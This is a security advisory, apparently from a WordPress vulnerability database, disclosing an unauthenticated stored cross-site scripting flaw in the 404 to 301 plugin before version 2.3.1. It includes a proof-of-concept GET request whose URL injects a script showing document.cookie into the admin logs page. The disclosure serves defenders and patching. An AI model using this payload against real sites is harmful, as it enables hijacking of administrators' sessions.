404 to 301 <= 2.3.0 - Unauthenticated Stored Cross-Site Scripting (XSS)Sign up to our free email alerts service for instant vulnerability notifications!
There is a stored XSS in the 404-to-301 WP plugin < 2.3.1. Unauthenticated users can visit a specially crafted URL and the redirect path will be logged to the database. The redirection source is stored unescaped in the database, thus it is served as-is and evaluated in the browsers of logged-in admins when they check the redirection logs on http://wordpress/wp-admin/admin.php?page=i4t3-logs. Affected versions are <2.3.1.
|Proof of Concept||
A similar requests must be sent to the vulnerable server. Make sure to request a page serving a 404, ie by requesting a post with an unexisting post ID. GET /?p=99999999999999999929"><script>alert(document.cookie)</script> HTTP/1.1 Host: wordpress Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Connection: close
fixed in version 2.3.1
|OWASP Top 10||A3: Cross-Site Scripting (XSS)|
|Publicly Published||2016-08-27 (6 months ago)|
|Added||2016-08-29 (6 months ago)|
|Last Updated||2016-11-08 (3 months ago)|
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